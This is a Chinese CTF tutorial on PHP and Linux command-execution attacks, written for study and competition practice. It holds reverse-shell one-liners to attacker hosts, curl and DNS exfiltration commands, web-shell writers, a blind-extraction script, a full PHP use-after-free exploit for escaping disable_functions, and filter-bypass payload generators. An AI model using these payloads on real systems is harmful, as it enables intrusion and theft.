跳转至

命令执行

ASCII码表完整版

ASCII值 控制字符 ASCII值 控制字符 ASCII值 控制字符 ASCII值 控制字符
0 NUT 32 (space) 64 @ 96
1 SOH 33 ! 65 A 97 a
2 STX 34 66 B 98 b
3 ETX 35 # 67 C 99 c
4 EOT 36 $ 68 D 100 d
5 ENQ 37 % 69 E 101 e
6 ACK 38 & 70 F 102 f
7 BEL 39 , 71 G 103 g
8 BS 40 ( 72 H 104 h
9 HT 41 ) 73 I 105 i
10 LF 42 * 74 J 106 j
11 VT 43 + 75 K 107 k
12 FF 44 , 76 L 108 l
13 CR 45 - 77 M 109 m
14 SO 46 . 78 N 110 n
15 SI 47 / 79 O 111 o
16 DLE 48 0 80 P 112 p
17 DCI 49 1 81 Q 113 q
18 DC2 50 2 82 R 114 r
19 DC3 51 3 83 X 115 s
20 DC4 52 4 84 T 116 t
21 NAK 53 5 85 U 117 u
22 SYN 54 6 86 V 118 v
23 TB 55 7 87 W 119 w
24 CAN 56 8 88 X 120 x
25 EM 57 9 89 Y 121 y
26 SUB 58 : 90 Z 122 z
27 ESC 59 ; 91 [ 123 {
28 FS 60 < 92 / 124 |
29 GS 61 = 93 ] 125 }
30 RS 62 > 94 ^ 126 ~
31 US 63 ? 95 127 DEL

一、系统命令简介

系统命令,简单解释就是在系统终端可执行的预定义命令,就是大家常见的黑框框。在linux操作系统中,预定义命令默认存储位置为/bin目录,而windows操作系统的预定义命令默认存储位置为C:\Windows\System32,下面将针对linux和win的系统命令做简单介绍。

1.1 管道符

在win和linux这两种操作系统中,我们可以利用管道符来同时执行多条命令

Text Only
1
2
3
4
5
6
7
8
windows:
‘|’ 直接执行后面的语句
‘||’ 如果前面命令是错的那么就执行后面的语句,否则只执行前面的语句
‘&’ 前面和后面命令都要执行,无论前面真假
&&如果前面为假,后面的命令也不执行,如果前面为真则执行两条命令

linux:
Linux系统包含了windows系统上面四个之外,还多了一个 ‘;’ 这个作用和 ‘&’ 作用相同

1.2 通配符

在linux操作系统中支持如下两种通配符

Text Only
?   可代替任意一个字符
*   可代替0-任意个字符

Text Only
若当前目录只存在一个名为flag的文件
cat flag <==> cat fla?  <==>  cat f*

1.3 重定向

在linux操作系统中一共有>和>>两个重定向符号

1.>符号

用于将命令的标准输出重定向到指定的文件,如果文件不存在,则会创建文件;如果文件已经存在,则会覆盖文件内容。

Text Only
ls > file.txt    //将ls的执行结果写入file.txt中
>file.txt        //创建名为file.txt的文件

2.>>符号

将命令的标准输出重定向到指定的文件,但与> 不同的是,如果文件已经存在,>> 会将输出追加到文件末尾而不是覆盖文件内容。

Text Only
ls >> file.txt

1.4 常见系统命令

在高级语言当中,系统命令通常需要特定的函数才能执行。例如php中的

system()
passthru()
exec()
shell_exec()
popen()
proc_open()
pcntl_exec()
``

python中的例如等

os.system()

根据函数不同,其所需参数以及回显情况等都会略有不同,需要根据实际情况进行调整

1.4.1 windows

命令 实际效果
ipconfig 主要用来查看当前机器内、外网ip
type type filename 查看文件内容
cd 目录跳转
ping ping ip或者url 主要用来判断某机器是否可达
dir 列出当前目录
whoami 查看当前用户,主要用于判断是否可以命令执行

1.4.2 linux

基础命令

命令 实际效果
ls 列出当前目录
cd 目录跳转
rm 删除
mv 重命名
whoami 查看当前用户
uname -a 列出内核版本等详细系统讯息
ifconfig 查看当前机器内外网ip
ping 判断目标机器是否可达
touch 创建文件
mkdir 创建目录

在ctf比赛当中,最常见的就是文件读取命令的绕过,下面是一些常见的文件读取命令

命令 实际效果
cat 文件读取
tac 文件读取(行倒序输出)
more 文件读取(一页一页显示)
less 文件读取(一页一页显示,可翻页)
head 文件读取(显示头几行)
tail 文件读取(显示最后几行)
nl 文件读取(会输出行号)
vim/vi 文本编辑器,可用于内容查看
nano 文本编辑器,可用于内容查看
emacs 文本编辑器,可用于内容查看
sed -n '1,10p' 文件读取(显示前10行)
rev 文件读取(倒序输出)
base64 文件读取(以base64形式输出)
strings 文件读取(提取文件中可输出的字符串)
xxd 文件读取(二进制形式输出)
hexdump 文件读取(16进制形式输出)
od 文件读取(8进制形式输出)
uniq 文件读取(会去掉重复行)
cp 文件复制(可用于突破目标文件权限限制)

1.4.3 其它命令

除了以上的常见命令外还有其它的一些常用命令

find

常用于在linux系统中查找某文件(支持通配符)的具体位置

Text Only
1
2
3
4
find / -name flag
find / -name f*
find / -name fla?
/为查找的起始根目录,以上命令会以/(根目录)为查找根目录,在其以及其子目录中查找符合后续命名规则的文件
sed

在某些情况需要对文件内容进行适当修改,但题目环境并未提供vi等文本编辑器,此时可以利用sed达到精准替换某行的目的

Text Only
1
2
3
4
5
6
实现格式为:
sed -i '行数s/原内容/替换为的内容/' 文件名

sed -i '2s/x\.x\.x\.x/150.158.24.228/' filename
sed -i '3s/7002/7000/' filename
sed -i '4s/.*//' filename

PS:

Text Only
1.该命令支持通配符
2.该命令对于特殊符号需要用\进行转义,如上述的例1中的.
echo

如果需要大规模写入内容,可以使用base64编码防止数据丢失,再结合echo将内容写入指定文件

Text Only
实现格式为:
echo 'base64编码的数据' | base64 -d > filename

二、命令执行

2.1 system类命令执行

所谓system类命令执行即是原题目已经给出system函数,且其参数是可控的这种情况,下面将以php为例着重讲解该情况下的命令执行方式以及绕过姿势

示例代码

PHP
1
2
3
<?php
system($_POST['1']);
?>

2.1.1 无回显rce

在1.3节开篇我们提到了很多可执行系统命令的函数,他们都可以达成执行系统命令的目的,但其中的一些函数会不会将执行的结果回显,例如exec函数,此时我们就需要通过某些手法得到回显,下面将对这些手法进行详细讲解

2.1.1.1 反弹shell
vps简介

作为一名合格的web手,一台vps是必不可少的,所谓vps就是一台具有公网ip的服务器,可从下面三方厂家获取

1.华为云:https://www.huaweicloud.com/(云耀云服务器)

2.腾讯云:https://cloud.tencent.com/(轻量型服务器)

3.阿里云:https://www.aliyun.com/

服务器和我们个人PC电脑最大的区别就是具有公网ip,实际效果就是任意用户皆可达我们的服务器(可ping通),而个人PC电脑绝大多数情况是无法实现该功能的。详细购买流程以及产品讯息可与对应客服探讨,成功购买后即可使用ssh(服务器自带的远程连接工具)或电脑自带的远程桌面功能进行服务器登录

1.ssh登录

ssh软件推荐termius

image-20240123171841669

从厂家获取账号密码以及公网ip后将其填入1,2,3处,然后点击4处即可远程连接到服务器

2.电脑自带远程桌面功能登录(常用于win系统)

image-20240123172206857

image-20240123172217584

在此界面输入公网ip,稍后再输入厂家给予的账号密码即可登录成功

反弹手法

1.nc反弹

Text Only
正向连接:
linux靶机:nc -e /bin/bash -lvvnp 端口
win靶机:nc -e cmd -lvvnp 端口     //win系统不自带nc,需要手动上传,此处nc并非固定,根据实际上传的程序名做相应修改
攻击机:nc 靶机ip 端口

反向连接:
linux靶机:nc -e /bin/bash 攻击机ip 端口
win靶机:nc -e cmd 攻击机ip 端口
攻击机:nc -lvvnp 端口

//上述所有操作皆是带有-lvvnp的操作(端口监听)优先

2.bash反弹

Text Only
1
2
3
4
攻击机:nc -lvvnp 端口
靶机:bash -c "bash -i >& /dev/tcp/攻击机ip/攻击机监听的端口 0>&1"
数组版靶机(java源码):bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMTAuNDEuMTcuMTgzLzI1MCAwPiYx}|{base64,-d}|{bash,-i}
//使用时需要对命令中的编码部分解码,将其中的ip和端口修改为攻击机ip段端口后并重新编码才可使用,浏览器传参时需要url编码

示例演示

1.在靶机可达的机器(可ping通,如公网服务器或同网段机器)上监听端口

image-20240123174432194

2.在靶机上执行bash反弹命令

image-20240123174611797

3.查看刚刚监听端口的服务器

image-20240123174641283

可以发现反弹shell成功,此时可执行任意系统命令

3.写shell文件后执行

Text Only
1
2
3
4
5
创建shell.sh
bash -c "bash -i >& /dev/tcp/服务器ip/端口 0>&1"
将上述bash反弹命令写入文件,详见1.2.3节中的echo用法
./shell.sh
利用.执行shell.sh反弹shell

正向连接与反向连接简介

image-20240123172902417

PC1、PC2、PC3为我们的目标机器,此时不难发现三台靶机都处于内网环境

正向连接:攻击机主动连接靶机

反向连接:靶机主动连接攻击机

准则:谁被动,谁监听

在上述环境中,有且仅有可访问路由linux外网服务器windows服务器这三个ip是可访问的,而我们的三台PC靶机此时处于内网环境,相当于我们的个人PC电脑,此时是无法访问的,我们的外网服务器最多只可致可访问路由处,即攻击机无法主动连接到靶机,所以此时就无法正向连接。由于我们外网服务器皆为公网服务器,所以三台PC靶机是可以访问到服务器的,即可以进行反向连接,让靶机主动连接攻击机,也就是我上面演示的bash反弹的操作。

2.1.1.2 数据写出

将命令的执行结果写入其他文件,再访问其他文件获取执行结果,下以1.txt为例

Text Only
1
2
3
4
5
6
7
8
9
利用cp命令:cp flag.php 1.txt

利用mv命令:mv flag.php 1.txt

利用>输出结果到文件:ls > 1.txt

利用tee命令:ls | tee 1.txt    //tee会从从标准输入读取数据,并将其写入文件以及标准输出

利用script命令:ls | script 1.txt  //会开启命令记录,命令执行状态以及结果都将会写入文件中
2.1.1.3 数据外带

在题目环境出网的条件下,我们可以通过数据外带将命令执行的结果外带出来,此处推荐两个外带网址:

1.http://dnslog.cn

2.http://ceye.io/(推荐,更稳定)

linux的数据外带归功于其反引号可执行任意系统命令这一特殊机制

Text Only
单行传输:
ping `whoami`.dns地址
curl http://dns地址/`whoami`

//whoami即为我们要执行的系统命令,将其用``包裹后利用.将其与我们的dns地址进行拼接,执行命令后即可在dns处得到whoami命令的回显

多行传输:(外带只会显示第一行的数据)
curl http://y91yp4.ceye.io/`ls / | base64`           //将结果进行base64编码后外带出来
curl http://y91yp4.ceye.io/`whoami | sed -n '2p'`    //输出固定行的结果
curl -T /flag http://y91yp4.ceye.io/                 //指定文件外带

下面我会就这两个外带平台进行演示

1.dnslog

image-20240123182359664

首先点击get subdomain,即可获得2所示的url地址,随后即可在靶机执行如下命令

Text Only
ping `whoami`.dns地址
ping `whoami`.b854kz.dnslog.cn

image-20240123182554193

点几下refresh record(点成get就得重新搞了)即可获得回显,可以得到靶机当前用户为root

2.ceye

平台崩了,小寄。

image-20240123183023358

login处登录后应为profile,在profile出得到url地址后即可执行如下命令

Text Only
curl http://y91yp4.ceye.io/`ls / | base64` 

点几下reload即可得到回显结果

2.1.1.4 盲注
Python
import requests
import string
import time

url='http://localhost.test.php/?c='
dic=string.printable[:-6]
flag=''

for i in range(1,50):
    judge=0
    for j in dic:
        now=f'{url}a=$(cat /flag | head -1 | cut -b {i});if [ $a = {j} ];then sleep 2;fi'
        start=time.time()
        r=requests.get(now)
        end=time.time()
        if int(end)-int(start) >1:
            judge=1
            flag+=j
            print(flag)
            break
    if judge==0:
        break

print(flag)

核心命令分析

Text Only
a=$(cat /flag | head -1 | cut -b {i});if [ $a = {j} ];then sleep 2;fi

第一部分

Text Only
a=$(cat /flag | head -1 | cut -b {i});
定义变量a,将cat /flag的结果利用head -1取第一行,利用cut -b number取结果的第i(脚本中的循环i)个字符,将字符赋值给a

第二部分

Text Only
if [ $a = {j} ];
判断得到的变量a是否等于j,j为上述脚本中dic字典的遍历结果

第三部分

Text Only
then sleep 2;fi
如果判断为真,则睡眠2秒,通过网页是否睡眠判断出flag的每个字母的结果
2.1.1.5 命令行写shell

可以通过命令执行写入shell,然后蚁剑连接,在某些情况会是一个不错的选择

Text Only
1
2
3
4
5
echo 'PD9waHAgZXZhbCgkX1BPU1RbMV0pOz8=' | base64 -d > ./123.php  

//base64解码结果为<?php eval($_POST[1]);?>

echo '<?php eval(\$_GET[1]);phpinfo();?>' > /var/www/html/2.php

2.1.2 长度限制绕过

示例代码

PHP
1
2
3
4
5
6
7
8
<?php
if($F = @$_GET['F']){
    if(!preg_match('/system|nc|wget|exec|passthru|netcat/i', $F)){
        eval(substr($F,0,6));
    }else{
        die("111");
    }
} 

此题利用substr函数对eval的代码进行了限制

Text Only
1
2
3
4
5
6
7
8
9
get传参   F=`$F `; sleep 3
经过substr($F,0,6)截取后 得到  `$F `;
也就是会执行 eval("`$F `;");
我们把原来的$F带进去
eval("``$F `;sleep 3`");
也就是说最终会执行  ` `$F `;sleep 3 ` == shell_exec("`$F `; sleep 3");
前面的命令我们不需要管,但是后面的命令我们可以自由控制。
这样就在服务器上成功执行了 sleep 3
所以 最后就是一道无回显的RCE题目了,将sleep 3换成我们2.1.1节中所讲的操作即可得到答案

2.1.3 命令绕过

2.1.3.1 空格
Text Only
$IFS              

{cat,flag.php}                        --这里把,替换成了空格键

%20                                   --代表space键

\x20                                  --代表space键,eval类中可用

%09                                   --需要php环境,如cat%09flag.php

\x09                                  --代表space键,eval类中可用

${IFS}                                --单纯cat$IFS2,IFS2被bash解释器当做变量名,输不出来结果,加一个{}就固定了变量名,如cat${IFS2}flag.php

$IFS$9                                --后面加个$与{}类似,起截断作用,$9是当前系统shell进程第九个参数持有者,始终为空字符串,如cat$IFS2$9flag.php


<                                     --重定向,如cat<flag.php

<>                                    --重定向,如cat<>flag.php
2.1.4.2 字符串拼接绕过
Text Only
a=l;b=s;c=/;$a$b $c

定义变量a为l,b为s,c为/,执行命令\(a\)b $c即ls /

2.1.4.3 base64编码绕过
Text Only
1
2
3
4
5
6
echo MTIzCg==|base64 -d 其将会打印123


echo bHMgLw== | base64 -d | bash 
`echo bHMgLw== | base64 -d`                   ==>三种结果皆为ls /
echo bHMgLw== | base64 -d | sh
2.1.4.4 16进制编码绕过

生成脚本

Text Only
1
2
3
4
<?php
$a = 'ls /';
echo bin2hex($a);  //6c73202f
?>

payload

Text Only
1
2
3
echo 6c73202f | xxd -r -p | bash
`echo 6c73 | xxd -r -p`
echo `6c73202f` | xxd -r -p | sh > 1.txt
2.1.4.5 单双引号绕过
Text Only
1
2
3
4
ca''t flag 
ca""t flag
l''s /
l""s /
2.1.4.6 反斜杠绕过
Text Only
1
2
3
l\s /
l\s /var/www/ht\ml
ca\t f\ag
2.1.4.7 绕过ip中的句点
Text Only
网络地址可以转换成数字地址,比如127.0.0.1可以转化为2130706433。
可以直接访问http://2130706433或者http://0x7F000001,这样就可以绕过.的ip过滤。

数字转ip地址

ip地址转数字

域名转数字ip

2.1.4.8 正则匹配绕过
Text Only
cat flag  =>   cat [e-g]lag
               cat f{k..m}ag

两种正则匹配稍有不同:

1.[]为开区间,并不包含左右边界

2.{}为闭区间,包含左右边界

所以可得,前者只会匹配f,而后者会匹配k,l,m

2.1.4.9 内敛执行法绕过
Text Only
cat `ls`
//获取ls下的所有的文件内容
2.1.4.10 黑洞绕过

黑洞:

Text Only
>/dev/null 2>&1
>代表重定向,会将我们命令执行的所有结果全部丢进预定义的/dev/null这一垃圾桶中,导致我们收不到回显

利用管道符绕过,效果详见1.1节

Text Only
ls || >/dev/null 2>&1
2.1.4.11 绕过open_basedir()

1.ini_set重设置绕过

PHP
1
2
3
4
<?php
// 设置 open_basedir
ini_set('open_basedir', '/path/to/allowed/directory:/another/allowed/directory');
?>

可以设置多个安全目录,目录和目录之间可以使用:进行分隔

2.UAF脚本绕过安全目录

使用时需要进行url编码再传入(bp编码)

PHP
<?php
function ctfshow($cmd) {
    global $abc, $helper, $backtrace;

    class Vuln {
        public $a;
        public function __destruct() { 
            global $backtrace; 
            unset($this->a);
            $backtrace = (new Exception)->getTrace();
            if(!isset($backtrace[1]['args'])) {
                $backtrace = debug_backtrace();
            }
        }
    }

    class Helper {
        public $a, $b, $c, $d;
    }

    function str2ptr(&$str, $p = 0, $s = 8) {
        $address = 0;
        for($j = $s-1; $j >= 0; $j--) {
            $address <<= 8;
            $address |= ord($str[$p+$j]);
        }
        return $address;
    }

    function ptr2str($ptr, $m = 8) {
        $out = "";
        for ($i=0; $i < $m; $i++) {
            $out .= sprintf("%c",($ptr & 0xff));
            $ptr >>= 8;
        }
        return $out;
    }

    function write(&$str, $p, $v, $n = 8) {
        $i = 0;
        for($i = 0; $i < $n; $i++) {
            $str[$p + $i] = sprintf("%c",($v & 0xff));
            $v >>= 8;
        }
    }

    function leak($addr, $p = 0, $s = 8) {
        global $abc, $helper;
        write($abc, 0x68, $addr + $p - 0x10);
        $leak = strlen($helper->a);
        if($s != 8) { $leak %= 2 << ($s * 8) - 1; }
        return $leak;
    }

    function parse_elf($base) {
        $e_type = leak($base, 0x10, 2);

        $e_phoff = leak($base, 0x20);
        $e_phentsize = leak($base, 0x36, 2);
        $e_phnum = leak($base, 0x38, 2);

        for($i = 0; $i < $e_phnum; $i++) {
            $header = $base + $e_phoff + $i * $e_phentsize;
            $p_type  = leak($header, 0, 4);
            $p_flags = leak($header, 4, 4);
            $p_vaddr = leak($header, 0x10);
            $p_memsz = leak($header, 0x28);

            if($p_type == 1 && $p_flags == 6) { 

                $data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;
                $data_size = $p_memsz;
            } else if($p_type == 1 && $p_flags == 5) { 
                $text_size = $p_memsz;
            }
        }

        if(!$data_addr || !$text_size || !$data_size)
            return false;

        return [$data_addr, $text_size, $data_size];
    }

    function get_basic_funcs($base, $elf) {
        list($data_addr, $text_size, $data_size) = $elf;
        for($i = 0; $i < $data_size / 8; $i++) {
            $leak = leak($data_addr, $i * 8);
            if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
                $deref = leak($leak);

                if($deref != 0x746e6174736e6f63)
                    continue;
            } else continue;

            $leak = leak($data_addr, ($i + 4) * 8);
            if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
                $deref = leak($leak);

                if($deref != 0x786568326e6962)
                    continue;
            } else continue;

            return $data_addr + $i * 8;
        }
    }

    function get_binary_base($binary_leak) {
        $base = 0;
        $start = $binary_leak & 0xfffffffffffff000;
        for($i = 0; $i < 0x1000; $i++) {
            $addr = $start - 0x1000 * $i;
            $leak = leak($addr, 0, 7);
            if($leak == 0x10102464c457f) {
                return $addr;
            }
        }
    }

    function get_system($basic_funcs) {
        $addr = $basic_funcs;
        do {
            $f_entry = leak($addr);
            $f_name = leak($f_entry, 0, 6);

            if($f_name == 0x6d6574737973) {
                return leak($addr + 8);
            }
            $addr += 0x20;
        } while($f_entry != 0);
        return false;
    }

    function trigger_uaf($arg) {

        $arg = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA');
        $vuln = new Vuln();
        $vuln->a = $arg;
    }

    if(stristr(PHP_OS, 'WIN')) {
        die('This PoC is for *nix systems only.');
    }

    $n_alloc = 10; 
    $contiguous = [];
    for($i = 0; $i < $n_alloc; $i++)
        $contiguous[] = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA');

    trigger_uaf('x');
    $abc = $backtrace[1]['args'][0];

    $helper = new Helper;
    $helper->b = function ($x) { };

    if(strlen($abc) == 79 || strlen($abc) == 0) {
        die("UAF failed");
    }

    $closure_handlers = str2ptr($abc, 0);
    $php_heap = str2ptr($abc, 0x58);
    $abc_addr = $php_heap - 0xc8;

    write($abc, 0x60, 2);
    write($abc, 0x70, 6);

    write($abc, 0x10, $abc_addr + 0x60);
    write($abc, 0x18, 0xa);

    $closure_obj = str2ptr($abc, 0x20);

    $binary_leak = leak($closure_handlers, 8);
    if(!($base = get_binary_base($binary_leak))) {
        die("Couldn't determine binary base address");
    }

    if(!($elf = parse_elf($base))) {
        die("Couldn't parse ELF header");
    }

    if(!($basic_funcs = get_basic_funcs($base, $elf))) {
        die("Couldn't get basic_functions address");
    }

    if(!($zif_system = get_system($basic_funcs))) {
        die("Couldn't get zif_system address");
    }


    $fake_obj_offset = 0xd0;
    for($i = 0; $i < 0x110; $i += 8) {
        write($abc, $fake_obj_offset + $i, leak($closure_obj, $i));
    }

    write($abc, 0x20, $abc_addr + $fake_obj_offset);
    write($abc, 0xd0 + 0x38, 1, 4); 
    write($abc, 0xd0 + 0x68, $zif_system); 

    ($helper->b)($cmd);
    exit();
}

ctfshow("cat /flag0.txt");ob_end_flush();
?>
2.1.4.12 环境变量截取、注入

fuzz脚本

Python
import requests
import string

url = "http://545c9513-be92-4706-a7fc-ba5b4b69876a.challenge.ctf.show/"

list = string.ascii_letters+string.digits+"$+-}{_><:?*.~/\\ "

white_list = ""

for payload in list:

    data = {
        "code" : payload
    }

    res = requests.post(url, data=data)

    if "evil input" not in res.text:
        print(payload, end=" ")
        white_list += payload

print()
print(white_list.replace(" ","空格"))

环境变量构造表

变量名 作用
${PWD} 返回当前工作目录
${SHLVL} 作用:记录多个 Bash 进程实例嵌套深度的累加器,进程第一次打开shell时 ${SHLVL} 就为1,然后再这个shell中再打开一个shell的话此时 ${SHLVL} 就变成了2
${PATH} 环境变量位置,一般是/bin
${#xxx} 显示的是这个数值的位数,而如果不加 # 的话就是显示这个数原本的值,,${#PWD} (/var/www/html),结果为13
${RANDOM} 随机数0~32767,${#RANDOM}范围为1-5,基本为4,5
${USER} 相当于whoami
\({##} 、\) 1
${HOME} 获取home目录位置
Text Only
1
2
3
4
5
#/bin/base64 flag.php
${PWD::${#SHLVL}}???${PWD::${#SHLVL}}?????${#RANDOM}${IFS}????.???

#/???/?????4 ????.???
<A;${HOME::$?}???${HOME::$?}?????${RANDOM::$?} ????.???
Text Only
利用各个环境变量的最后一位来构造命令
${PWD}表示当前所在的目录
一般的话都会是/var/www/html
${PATH}表示文件位置相关的环境变量
基本上指的是根目录下的bin目录
即:/var/www/html # ls /bin

那么${PWD:~A}的结果就是字母 l
而${PATH:~A}的结果是字母 n  
这里的~A代表是最后一位字符,相应B就是导数第二位字符。同样数字的话0就是最后一位字符
Text Only
1
2
3
4
5
6
7
8
$PWD和${PWD}    表示当前所在的目录    /var/www/html
${#PWD}         13      前面加个#表示当前目录字符串长度
${PWD:3}        r/www/html  代表从第几位开始截取到后面的所有字符(从零开始)
${PWD:~3}       html    代表从最后面开始向前截取几位(从零开始)
${PWD:3:1}      r
${PWD:~3:1}     h
${PWD:~A}       l   这里的A其实就是表示1
${SHLVL:~A}     1   代表数字1
2.1.4.13 绕过disable_function

适用于eval类命令执行

PHP
$a=fopen("flag.php","r");while (!feof($a)) {$line = fgets($a);echo $line;}

$a=fopen("flag.php","r");while (!feof($a)) {$line = fgetc($a);echo $line;}

$a=fopen("flag.php","r");while (!feof($a)) {$line = fgetcsv($a);var_dump($line);}

#扫描根目录有什么文件
$a=new DirectoryIterator('glob:///*');foreach($a as $f){echo($f->__toString()." ");}
$a=new DirectoryIterator('glob:///*');foreach($a as $f){echo($f->getFilename()." ");} 
$a=opendir('/');while(($file = readdir($a)) !=false){echo $file." ";}    
c=var_dump(scandir('/'));
$a=opendir('/');while(($file=readdir($a)) != false) {echo $file."";}

#读取的话一般都是用的include(),highlight_file(),show_source(),readfile(),require(),require_once()等函数进行读取

如果结果被替换,可以在代码后边加一个exit退出,进而绕过对于结果的替换

PHP
$a=opendir('/');while(($file=readdir($a)) != false) {echo $file."";}exit();

2.2 eval类命令执行

所谓eval类命令执行即原题中给出了eval()这一函数,并让其参数可控

示例代码

PHP
1
2
3
<?php
eval($_POST['1']);
?>

eval函数的本质是将任意字符串当作php代码执行,我们在进行get和post传参是传入的参数默认都是字符串形式的,正好也一定会符合这个条件

2.2.1 无字母数字rce

简单来说,无字母数字rce就是把我们可控参数中的数字和字母都ban掉了,我们需要通过不可见字符的运算构造出可见字符,并执行相应命令,下面的绕过姿势本质都是通过不可见字符之间的关系运算构造出我们所需要的字符串并执行我们的恶意命令。

示例代码

PHP
1
2
3
4
<?php
if(!preg_match('/[a-z0-9]/is',$_GET['shell'])) {
eval($_GET['shell']);
}
2.2.1.1 取反绕过

通过取反操作使得原命令变为不可见字符,绕过waf检测,在eval执行时再通过取反操作还原为原恶意命令,进行执行任意恶意代码

构造脚本1

PHP
<?php
$a=urlencode(~('call_user_func'));
$b=urlencode(~('system'));
$c=urlencode(~('whoami'));
echo $a;
echo "\n";
echo $b;
echo "\n";
echo $c;
echo "\n";
echo "(~".$a.")(~".$b.",~".$c.",'');";
?>

构造脚本2

PHP
<?php
//在命令行中运行

fwrite(STDOUT,'[+]your function: ');

$system=str_replace(array("\r\n", "\r", "\n"), "", fgets(STDIN)); 

fwrite(STDOUT,'[+]your command: ');

$command=str_replace(array("\r\n", "\r", "\n"), "", fgets(STDIN)); 

echo '[*] (~'.urlencode(~$system).')(~'.urlencode(~$command).');';
2.2.1.2 异或绕过

通过不可见字符之间的异或运算构造出任意恶意命令,将两个脚本按照规定命名放到同一个目录下,每次使用时需要根据题目代码更换php脚本中的正则部分,更改好运行python代码,根据提示构造即可

xor.php

PHP
<?php

/*author yu22x*/

$myfile = fopen("xor_rce.txt", "w");
$contents="";
for ($i=0; $i < 256; $i++) { 
    for ($j=0; $j <256 ; $j++) { 

        if($i<16){
            $hex_i='0'.dechex($i);
        }
        else{
            $hex_i=dechex($i);
        }
        if($j<16){
            $hex_j='0'.dechex($j);
        }
        else{
            $hex_j=dechex($j);
        }
        $preg = '/[a-z0-9A-Z]/i'; //根据题目给的正则表达式修改即可
        if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){
                    echo "";
    }

        else{
        $a='%'.$hex_i;
        $b='%'.$hex_j;
        $c=(urldecode($a)^urldecode($b));
        if (ord($c)>=32&ord($c)<=126) {
            $contents=$contents.$c." ".$a." ".$b."\n";
        }
    }

}
}
fwrite($myfile,$contents);
fclose($myfile);

xor.py

Python
import requests
import urllib
from sys import *
import os


def action(arg):
    s1 = ""
    s2 = ""
    for i in arg:
        f = open("xor_rce.txt", "r")
        while True:
            t = f.readline()
            if t == "":
                break
            if t[0] == i:
                # print(i)
                s1 += t[2:5]
                s2 += t[6:9]
                break
        f.close()
    output = "(\"" + s1 + "\"^\"" + s2 + "\")"
    return (output)


while True:
    param = action(input("\n[+] your function:")) + action(input("[+] your command:")) + ";"
    print(param)
2.2.1.3 或绕过

通过不可见字符之间的或运算构造出任意恶意命令,将两个脚本按照规定命名放到同一个目录下,每次使用时需要根据题目代码更换php脚本中的正则部分,更改好运行python代码,根据提示构造即可

or.php

PHP
<?php
$myfile = fopen("or.txt", "w");
$contents="";
for ($i=0; $i < 256; $i++) { 
    for ($j=0; $j <256 ; $j++) { 

        if($i<16){
            $hex_i='0'.dechex($i);
        }
        else{
            $hex_i=dechex($i);
        }
        if($j<16){
            $hex_j='0'.dechex($j);
        }
        else{
            $hex_j=dechex($j);
        }
        $preg = '/[b-df-km-uw-z0-9\+\~\{\}]+/i';
        if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){
                    echo "";
    }

        else{
        $a='%'.$hex_i;
        $b='%'.$hex_j;
        $c=(urldecode($a)|urldecode($b));
        if (ord($c)>=32&ord($c)<=126) {
            $contents=$contents.$c." ".$a." ".$b."\n";
        }
    }

}
}
fwrite($myfile,$contents);
fclose($myfile);

or.py

Python
# -*- coding: utf-8 -*-
import requests
import urllib
from sys import *
import os

os.system("php rce_or.php")  # 没有将php写入环境变量需手动运行


def action(arg):
    s1 = ""
    s2 = ""
    for i in arg:
        f = open("or.txt", "r")
        while True:
            t = f.readline()
            if t == "":
                break
            if t[0] == i:
                # print(i)
                s1 += t[2:5]
                s2 += t[6:9]
                break
        f.close()
    output = "(\"" + s1 + "\"|\"" + s2 + "\")"
    return (output)


while True:
    param = action(input("\n[+] your function:")) + action(input("[+] your command:"))

    print(param)
2.2.1.4 自增绕过

通过php的自增特性,构造出恶意字符串assert($_POST[_]);,进而实现任意代码执行

何为自增?

image-20240123195735901

我们可以发现,A在进行++操作之后变成了B,规律遵循ascii码表,详见开头。以下为构造脚本

Text Only
1
2
3
4
5
//测试发现7.0.12以上版本不可使用
//使用时需要url编码下
$_=[];$_=@"$_";$_=$_['!'=='@'];$___=$_;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$____='_';$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$_=$$____;$___($_[_]);
固定格式 构造出来的 assert($_POST[_]);
然后post传入   _=phpinfo();
2.2.1.5 临时文件执行

此方法的适用环境稍有不同,以上手法皆为eval类的无字母数字命令执行,而此方法适用于system类命令执行

Text Only
1
2
3
4
5
6
7
8
import requests

while True:
    url = "http://url/?c=.+/???/????????[@-[]"
    r = requests.post(url, files={"file": ('1.php', b'cat flag.php')})
    if r.text.find("flag") >0:
        print(r.text)
        break

我们通过发送一个上传文件的POST包,此时PHP会将我们上传的文件保存在临时文件夹下,默认的文件名是/tmp/phpXXXXXX,文件名最后6个字符是随机的大小写字母。由于字母数字被过滤,所以所有的字母数字都用?通配符代替

关于正则部分

Text Only
. /???/????????[@-[]

根据观察,文件的最后一位必定为大写字母,所以可以通过正则强制匹配大写字符增加成功几率,详见开头ascii码表

关于.

Bash
. filename
